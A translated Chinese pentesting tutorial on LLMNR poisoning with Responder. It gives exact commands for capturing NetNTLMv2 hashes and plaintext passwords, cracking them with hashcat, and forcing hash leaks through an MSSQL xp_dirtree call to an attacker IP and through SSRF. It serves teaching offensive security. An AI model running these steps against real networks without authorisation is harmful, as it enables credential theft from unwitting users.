AD 侦查-LLMNR 毒化
本文通过 Google 翻译 AD Recon – LLMNR Poisoning with Responder 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- 0 前言
- 1 LLMNR 毒化简介
- 2 LLMNR 毒化(SMB)
- 3 LLMNR 毒化 (HTTP[S])
- 4 LLMNR 毒化 (WPAD/DHCP)
- 5 破解 NetNTLMv2 哈希
- 6 场景示例
0、前言
在这篇文章中,我们将介绍 LLMNR 毒化的概念。为了实施 LLMNR 投毒,我们将使用名为 Responder 的工具执行 MITM(中间人)攻击。使用此工具,我们将了解如何介入用户的 SMB、HTTP[S]、WPAD 和 DHCP 请求,从而捕获 NetNTLMv2 哈希值并使用 hashcat 去破解它。
此外,我们还将介绍 responder.py 的另外两个用例,它们更像 CTF,但仍然非常酷。
1、LLMNR 毒化简介
LLMNR 是基于 DNS 的 Windows 内置协议,用于解析局域网络上的主机名。该协议是 DNS 的备用协议,当 DNS 无法识别主机名时,系统会使用该协议尝试识别主机名。Windows 中有许多服务都依赖 DNS 来解析主机名,这也意味着会有许多服务可以在 DNS 和 LLMNR 请求之间进行切换。
注:LLMNR 类似于 mDNS,它们的工作原理基本相同,都是为了解决在局域网内无需 DNS 服务器也能解析主机名的需求(以多播的方式)。
只不过 LLMNR 是 Microsoft 自定义的协议在 Windows 系统中使用已久,而 mDNS 是 IETF 标准制定的协议在非 Windows 系统更常见。但 Windows 似乎也在逐渐弃用 LLMNR 而改用 mDNS 中。
Windows 下域名解析顺序:Hosts 文件 → DNS 缓存 → DNS 服务器 → LLMNR 多播 → NetBIOS 广播 → mDNS
LLMNR 的缺陷在于:它信任局域网中任何主机的响应,这导致它极易被滥用进行“名称欺骗”(Name Spoofing)和“中间人攻击”,从而间接触发身份验证并泄露 NTLM 凭据。【注:Windows 的“自动认证”机制更是加强了这种攻击的威力。】
注:Windows“自动认证”机制即,在非交互式的命令行或进程中进行共享资源的访问时,Windows 会自动使用当前用户缓存的 NTLM 哈希凭据向目标发起 NTLM 身份验证。
这种攻击有一个注意事项项就是,请求的域名/主机名必须得是 DNS 无法解析的名称,这意味着用户需要请求一个不存在的域名/主机名的资源。
Responder 是一种通过对 LLMNR、NBT-NS 和 mDNS 协议进行投毒来执行 MITM 攻击的工具,同时它还内置了许多常见的伪造服务器(如 SMB、LDAP、HTTP[S]、RDP、WinRM 等),来骗取前来请求的用户凭证。
注:Inveigh 是一个拥有和 Responder 类似功能的工具,可作为替代选项。
2、LLMNR 毒化(SMB)
2.1、Responder 如何毒害 SMB
- 受害者访问一个不存在的共享
\\printer\share。【或在某些文件中嵌入的 UNC 路径】 - DNS 无法解析该名称,于是系统广播 LLMNR 进行查询 printer。
- 攻击者监听到查询并伪造响应,假称自己就是 printer。
- 受害者尝试连接攻击者提供的伪造服务 SMB。
- 受害者系统会使用当前用户凭据自动发起 NTLM 身份验证。
- 攻击者捕获 netNTLMv2 哈希并尝试破解。
2.2、Responder 启动设置
首先,使用 ip a 命令查看当前攻击机的哪张网卡和目标网络可通。

然后,使用如下命令启动 Responder:
responder -I eth0 -v
注:新版 Responder (3.1.4.0) 已取消 -rf 选项,但作者使用的 Responder 3.0.7.0 的版本支持此选项。
responder 默认会将重复捕获到的用户的 NetNTLM 哈希屏蔽掉,此时我们可以通过添加 -v 选项来取消屏蔽。取消屏蔽之后可能会看到同一个用户会对应很多不同的 NetNTLM 哈希,此时我们只需任选其一即可,最终破解的效果都是一样的。


2.3、Responder 捕获哈希:错误的共享
此时,我们假设用户在尝试访问名为“share”的共享时不小心输入错误,结果访问成“sahre”了会怎样。


在输入一个凭证后,用户将无法连接,并且由于资源不存在,将收到“无法访问”的错误消息。

然而,在用户看到弹出的登录框之前,损失就已经造成了。在用户输入共享名称并回车的那一刻,不管接下来用户面对弹出的登陆框输入账户密码还是不输入,用户都已经提供了它们当前账户的 NetNTLMv2 哈希值来验证共享,而 Responder 截获了该请求。
回到攻击者机器,我们看到 Responder 拦截了请求并转储了用户的名称、IP 地址和 NetNTLMv2 哈希。

虽然 NetNTLMv2 哈希值无法被用于传递哈希攻击,但可以尝试破解它。此外,还有一种方法可以利用它中继到另一台机器上,但这种方法我们会在后面的文章中再进行介绍。
3、LLMNR 毒化 (HTTP[S])
3.1、Responder 如何毒害 HTTP[S]
- 受害者访问一个错误的 url 链接
http://test/或https://test/。 - DNS 无法解析该名称,于是系统广播 LLMNR 进行查询 test。
- 攻击者监听到查询并伪造响应,假称自己就是 test。
- 受害者尝试连接攻击者提供的伪造服务 HTTP[S]。
- 受害者系统会使用当前用户凭据自动发起 NTLM 身份验证。
- 攻击者捕获 netNTLMv2 哈希并尝试破解。
3.2、Responder 启动设置
同上节一样,使用如下命令启动 Responder:
responder -I eth0
3.3、Responder 捕获用户哈希:错误的 URL
在 Responder 运行时,我们可以使用 Firefox 展示此示例,并查看当用户在输入错误的 URL 时会发生什么。

访问上述网址之后,用户将看到“警告:前方存在潜在安全风险”的消息。然而,这在内部网络中很常见,因为它们使用私有 SSL 证书托管其网站,这与 Responder 托管的证书相同。

在接受风险并继续正常操作后,回到 Responder 可以看到他们的 NetNTLMv2 哈希已被捕获。

3.4、直接抓取明文
此外,我们也可以为 Responder 添加 -b 选项以强制其使用基本身份验证功能。此时,用户在访问错误的 URL 时,会弹出一个登录提示框,用户在登陆框中输入的账户密码信息会在后台明文显示。但这种方式不够屏蔽,而且如果用户直接关闭提示,那么我们连目标当前用户的 NetNTLMv2 哈希也捕获不到了。
responder -I eth0 -b
- '-b' = 返回基本 HTTP 身份验证(纯文本密码)。

继续刚才的 URL 访问,我们会看到一个登录提示窗口。

当输入账户密码,然后返回 Responder 时,可以看到我们获得了用户的明文密码!

4、LLMNR 毒化 (WPAD/DHCP)
(1)毒化 WPAD 是利用了 Windows 网络代理自动检测的功能,该功能默认启用,当浏览器打开时,浏览器会自动下载 http://wpad/wpad.dat 代理规则,而 wpad 这个域名在现实网络中是不存在的(即错误的域名),于是就会触发 LLMNR 广播寻找该域名,进而自动进入了 LLMNR 毒化 HTTP[S] 的流程,进而获得目标系统当前用户的 NetNTLMv2 哈希。

(2)毒化 DHCP 是利用了主机自动获取 IP 的特性,当目标主机自动获取 IP 时,Responder 会与真实的 DHCP 服务器抢夺分配 IP 权,如果 Responder 抢到了,那么分配给目标主机的信息中会包含 WPAD 相关的配置,于是就进入了上述的步骤。
注:WPAD 的毒化目前似乎只对 IE 浏览器有效果,对于 Chrome、Firefox、Edge 不产生作用,它们似乎有着独属于自己的自动检测代理功能,不再依赖 Windows 自带的 WPAD 功能。【WPAD 毒化的实验可参考这篇文章】
DHCP 的毒化成功率似乎并不佳,此处不再阐述。
5、破解 NetNTLMv2 哈希
上面我们探索了三种不同的方法来使用 Responder 捕获用户 NetNTLMv2 哈希,但是可以用它们做什么呢?
首先,需要注意的是,Responder 会将其捕获的每个哈希转储一份在 /usr/share/responder/logs 目录,通过文件的名称我们可以直到该哈希是通过哪种方法捕获的。

最酷的是,这些文件中的哈希均已格式化,可以直接拿去让 Hashcat 进行破解!

为了找到此哈希类型所对应的 hashcat 破解模式,我们可以使用以下命令查询:
注:Responder 捕获到的不一定都是 NetNTLMv2,NetNTLMv1 也很常见。此外,其伪造的服务虽然大多都支持 NetNTLM 认证,但也有不支持的,如 FTP,捕获 FTP 的凭证时得到的就是明文显示,而不是哈希。
hashcat -h | grep -i "netntlmv2"

之后使用以下命令破解哈希:
hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-172.16.1.100.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

几秒钟后,哈希便被破解了!【注:破解成功时,其 Status 显示Cracked,否则是 Exhausted。】


6、场景示例
正如文章开头所说,我们还有两个通过使用 Responder 捕获哈希的例子需要展示,示例如下:
6.1、从 MSSQL 获取 NetNTLMv2 哈希
在这个例子中,假设我们得到了一个 MSSQL 的凭证(reporting),并使用 Impacket 套件中的 mssqlclient.py 工具成功登录到了目标的 MSSQL 数据库。
mssqlclient.py -p 1433 reporting@10.10.10.125 -windows-auth

同时,使用以下命令启动 Responder:
responder -I tun0

然后,通过在 SQL shell 中执行以下命令来转储 MSSQL 服务所有者的哈希:
exec master..xp_dirtree '\\10.10.14.2\test'
以上命令将尝试连接到攻击者机器上名为“test”的共享。当尝试连接共享时,MSSQL 服务会将服务启动账户的 NetNTLMv2 哈希值提交到攻击机,请求连接到我们的共享,此时 Responder 会拦截此请求并转储 NetNTLMv2 哈希值。

6.2、从 SSRF 漏洞获取 NetNTLMv2 哈希
SSRF(服务器端请求伪造)是一种网络安全漏洞,通过该漏洞攻击者可以强制服务器连接到任意外部系统,从而可能泄露授权凭据等敏感数据。
在这个例子中,我们发现目标站点提供了一个具有 URL 搜索功能的网页。

为了测试该网页是否存在 SSRF 漏洞,我们将在攻击机的 445 端口上启动一个 HTTP 服务器,然后尝试在搜索栏中访问它。


访问正常,这表明该服务器存在 SSRF 漏洞!
接着,我们在网页中访问一个不存在的资源,以期望 Responder 可以捕获网站所有者的 NetNTLMv2 哈希。
responder -I tun0



从上面可以看到,Responder 成功捕获到了用户的 NetNTLMv2 哈希。
AD 侦查-LLMNR 毒化的更多相关文章
- 超越LLMNR /NBNS欺骗 - 利用Active Directory集成的DNS
利用名称解析协议中的缺陷进行内网渗透是执行中间人(MITM)攻击的常用技术.有两个特别容易受到攻击的名称解析协议分别是链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBNS).攻击者可以 ...
- 结合NTLM中继和Kerberos委派攻击AD
0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...
- NetBIOS名称欺骗和LLMNR欺骗
目录 LLMNR和NetBios 攻击原理 Responder 攻击过程 LLMNR和NetBios 什么是LLMNR和NetBIOS名称服务器广播? 当DNS名称服务器请求失败时,Microsoft ...
- Sharepoint2013 AD组用户不同步
背景: SP2013列表库使用AD安全组授权访问,向AD安全组添加一个用户A,在Sharepoint AD同步(增量和完全)后,用户A仍然无法访问列表库:原因: 参考:安全令牌上的缓存 SP2013 ...
- freeradius整合AD域作anyconncet认证服务器
一.服务器要求 Radius服务器:centos6.6.hostname.selinux disabled.stop iptables AD域服务器:Windows Server 2008 R2 E ...
- 讲座:Modeling User Engagement for Ad and Search
讲座:http://bdai.ruc.edu.cn/?p=118 Modeling User Engagement for Ad and Search ppt 链接: Dr. Ke(Adam) Zho ...
- Azure AD Connect 手动同步
我们目前采用工具Azure AD Connect 目录同步工具将本地域控制器的用户信息同步至office365和Azure 在之前目录同步工具中使用Windows 任务计划程序或单独的 Windows ...
- SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问
delphi ado 跨数据库访问 语句如下 ' and db = '帐套1' 报错内容是:SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATE ...
- 如何查看/统计当前AD域控制器的活动用户?
最近公司想知道某台AD域控制器上当前连接了多少活动用户? 此前个人只知道以下不是非常完善且统计起来比较麻烦的方法: 方法1:查看共享会话数.(不完全准确) 方法2:查看当前的DNS记录.(这种方法统计 ...
- AD域-让共享目录只显示用户有权限访问的文件夹
问题: 在AD域中,我们一般都会用到共享,如果有很多部门,我们可能还会按部门.职位配置权限.比如CSD,IT,PA等,但文件夹一多,用户看着就头大,而且用户没权限访问的文件夹误点击进去还会提示无权限访 ...
随机推荐
- 【收藏】default.rdp配置
原文链接: https://www.cnblogs.com/vman/archive/2011/12/05/2276895.html 存储在 Default.rdp 文件中的设置 默认情况下,将在& ...
- Deepseek学习随笔(2)--- 快速上手DeepSeek
注册与登录 要开始使用 DeepSeek,你需要先注册一个账号.以下是具体步骤: 访问 DeepSeek 官网. 使用邮箱或手机号注册账号. 登录后进入控制台,开始使用. 控制台功能介绍 DeepSe ...
- 植物大战僵尸杂交版最新版(PC+手机+苹果)+ 修改器+高清工具
游戏介绍 <植物大战僵尸杂交版>在保留原作经典塔防玩法的基础上,进行了大胆创新和优化.潜艇伟伟迷通过融合多种植物和僵尸元素,创造了全新的游戏体验.玩家不仅能体验到熟悉的植物防御僵尸的乐趣, ...
- Processing多窗口程序范例(三)
再来一例~另一种叠加方式呈现...看图: 程序 主程序: package syf.demo.multiwindow3; import processing.core.PApplet; import p ...
- Scala高阶函数 1
package com.wyh.day01 /** * * 高阶函数 */ object ScalaFun3 { def main(args: Array[String]): Unit = { //定 ...
- Week09_day05(Hbase的介绍和工作原理)
HBase是一个分布式的.面向列的开源数据库,该技术来源于 Fay Chang 所撰写的Google论文"Bigtable:一个结构化数据的分布式存储系统".就像Bigtable利 ...
- 针对N=p^rq分解之初探
针对N=p^r*q分解之初探 论文地址:https://eprint.iacr.org/2015/399.pdf 题目:https://www.nssctf.cn/problem/2016 from ...
- 终于写完轮子一部分:tcp代理 了,记录一下
24年终自己立了flag: 25年做些轮子玩(用于浪费生命,赚不了钱) 所以25年就准备用c#写一个网络代理NZOrz(nginx知道吧,就那玩意儿干的事),包含 udp/tcp/http1 2 3, ...
- Golang 入门 : 转换
Go中数学运算和比较运算要求包含的值具有相同的类型.如果不是的话,则在尝试运行代码时会报错. 为变量分配新值也是如此.如果所赋值的类型与变量的声明类型不匹配,也会报错. 解决方法是使用转换,它允许你将 ...
- C#实现自己的Json解析器(LALR(1)+miniDFA)
C#实现自己的Json解析器(LALR(1)+miniDFA) Json是一个用处广泛.文法简单的数据格式.本文介绍如何用bitParser(拥有自己的解析器(C#实现LALR(1)语法解析器和min ...